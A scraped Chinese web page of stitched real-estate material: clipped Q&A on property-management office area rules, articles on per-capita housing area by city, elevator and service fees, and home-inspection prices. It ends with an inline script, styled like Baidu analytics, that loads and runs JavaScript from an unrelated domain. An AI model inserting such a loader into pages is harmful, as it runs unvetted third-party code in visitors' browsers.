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思丝丝
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问物业管理用房面积标准是啥?在线等
答《物业管理条例》第十三条:关于物业管理用房建设单位应当按照规定在物业管理区域内配置必要的物业管理用房。建设单位应在物业管理区域内配置物业管理办公用房和业主委
问物业管理用房面积标准是啥
答北京市物业管理办法 第七条 新建住宅物业,建设单位应当配建物业服务用房,包括客服接待、项目档案资料保存、工具物料存放、人员值班备勤、业主大会及业主委员会办公
问物管用房面积标准是啥?
答第七条新建住宅物业,建设单位应当配建物业服务用房,包括客服接待、项目档案资料保存、工具物料存放、人员值班备勤、业主大会及业主委员会办公用房等,并在房屋买卖合
问能说下上海物业服务标准是啥吗
答上海物业服务标准在结构和内容设置上强化了物业共用部位和共用设施设备的维修养护管理,包括房屋结构、建筑部件、空调系统、二次供水设备、排水系统、照明和电气设备、
问咨询下物业管理用房建筑面积标准是多少?
答物业管理条例里面有写的, 10万平米以下,按建筑面积的千份之四计算,超过10万平米的,按千份之三计算。 但最低不得低于50平方米。 最低不少于五十平方。
最新人均住房面积标准是什么
中国的土地面积排在全世界第三,按道理说,各位女婿在丈母娘发问是不是有房的时候,不应该面如白纸。但是吧,虽然说中国面积大,但耐不住人多,住房问题就显得严峻起来了。终于迎来买房子,这时候房地产都说占地面积多少平,还没来得及高兴,结果原来还包括建筑面积。今天小编就给大家科普科普人均住房面积,说说各地区的住房标准。首先大家要知道,人均住房面积不仅包括居住使用面积也包括建筑面积。在住建部的声明里,中国人均住房建筑面积已经达到30平方米。而农村人均住房面积多处城镇3.6平方米。改革开放以来,中国发生了巨大的改变,中国的住房和房地产快速发展,同时也带来一些地方人均居住面积各不相同的情况。上海上海最为全国经济最为发达的地区之一,住房问题也是许多当地人和外地人担心的问题。上海的物价高毋庸置疑,当然房价也是水涨船高。最近的上海人均住房面积已经达到了33.4平/人的标准,这让许多人都有些汗颜。杭州说完上海,杭州作为天堂之城,这里的住房需求也并不比上海弱到哪里去。根据杭州统计局最新的统计表明,杭州人均住房面积已经达到了35.1平/人,比上海还高出1.7平/人。也就是说杭州的房价略比上海要亲民。广州作为吃货必去的美食天堂广州,几乎可以对广州下人山人海四个字的定语。这样的人口数量之下,人均住房的面积标准就让人心有戚戚了。沿海发达的城市,差距并不是很大,所以广州的人均住房面积是34.4平/人,高于上海低于杭州。西安接下来给大家说一下内陆地区的人均住房面积情况,作为七大古都之一的西安,历史风味足,房价的人情味也足。人均住房面积是43.3平/人。说到这里,买房一直是中国人一生必做的一件事,也正是这样,所以中国的房地产行业热潮一直没降下去过,一路飘红。但是热俏的房地产行业也是社会发展畸形的一种表现,需要国家的宏观调控。许多城市出现房价过高的情况,使得一些人穷其一生很可能没办法负担起一栋房。在大家看一些地区的人均居住面积的时候,也希望大家能有所反思。
物业电梯费收取标准是多少以及物业管理服务费用有哪些
导语:随着经济的飞速发展,日常生活中的好多东西都变了。增加了很多对大家的工作、生活都带来方便的工具。例如电梯。作为21世纪的我们几乎每天都接触到电梯。电梯有作为运输工具使用于货物的运输,也作搭乘工具使用。但是只是作为使用者的我们大多并不知道物业电梯费收取标准是怎样的,那么就给大家介绍一下一些关于物业管理费用的知识。物业电梯费收取标准:我国到目前为止还没有完全统一的电梯收费标准,只有自己个别制定的。制定的标准也是不一样的。小区的收费标准一般要根据小区的档次,和当地周边的价格对照,大多数普通住宅是0.5元到1.5元,也有小区是5块左右,应该高层的比较贵些楼层越高越贵。电梯运行费用中应该包括以下内容:1:电费;2:维护保养费(其中有易损零件、润滑等及专业电梯公司保养的费用);3:运行管理人员的工资;4:中修、大修费;5:电梯年检费。最后分摊按楼层系数收取(每个物业收取的都不一样)。关于物业电梯收费标准:关于物业电梯收费标准大致的算法公式就是上边所有的费用之和,除以户数,为每户电梯收费的基数。再乘以楼层的系数。分摊办法由业主委员会与物业管理公司商定。最简便的方法就是咨询物价局,物业的收费有备案的。物业管理服务费包括:管理服务人员的工资、社会保险和按规定提取的福利费等;物业共用部位、共用设施设备的日常运行、维护费用;物业管理区域清洁卫生费用;物业管理区域绿化养护费用;物业管理区域秩序维护费用;物业公司办公费用;物业管理企业固定资产折旧;物业共用部位、共用设施设备及公众责任保险费用;经业主同意的其它费用。高层住宅电梯费用是包含在物业服务费里面的;最低楼层住户也要交纳费用。电梯的到来使大家的工作与生活更加的便捷。电梯在运输方面的使用,也使车间的生产的速度加快,从而提高了车间工作效率,最终促进我国社会经济发展的加速进步。在生活中作为搭乘工具使人们行动方便,对于老年人来说尤为重要。然而也有许多关于物业电梯费方面的矛盾纠纷。希望以上总结的关于物业电梯收费标准的一些东西对大家能有些作用。
有必要验房吗?来了解一下专业验房收费标准
通常是业主委验房师并支付一定的服务费。验房师按照中国政府批准的土木工程施工文件、相关的法律、法规、强制性规范、商业合同和房屋检查的检查劳动合同等,借助相关专业知识、工具和技能。商品房建成后,将对使用交付的民用建筑项目或装修装修项目进行检测,并向委托方提供相关咨询服务。验房师的房屋检查价格通常根据房屋面积计算。目前,中国一线城市的专业验房收费标准价格为5元/平方米,而其他城市的专业验房收费标准价格为2-3元/平方米。虽然验房公司的验房师拥有专业检查的知识和技术,对于业主了解房屋的质量有很大的帮助。但是,中国目前验房师行业仍然不成熟,验房公司的资格与验房师的资历、参差不齐的技术等,口口相传也有好坏。当然,每个验房公司的检查员的专业验房收费标准都不一样。这个专业验房收费标准受到城市房价的影响,并且还与检查人员的技术有关。房屋检查员的专业验房收费标准价格通常根据房屋面积计算。雇用的房屋检查员必须支付房屋检查费用以满足房屋检查需求,但是一些要求苛刻的房屋质量问题仍然是需要的专业人员才能检测到。房屋检查员是专业检查房子。如果业主有足够的预算,则有必要找一个检查员对房屋进行专业检查,对自己长期居住房子的质量也能知根知底。毛坯房的检查也是必要的,因为在施工过程中,工人可能没有做任何的处理,例如空鼓和墙上的裂缝,并且,房屋的门窗被损坏并划伤等,还有很多。这种情况,我们必须要求验房公司帮助检查这些问题。当交房的时候,及时要求他们纠正,防止在施工方退场后再来修改就会浪费时间、浪费精力还浪费金钱以上是介绍关于验房公司的专业验房收费标准。这有一个友好的提醒。目前,许多装修公司现在都有免费上门检查活动。你可以去看看。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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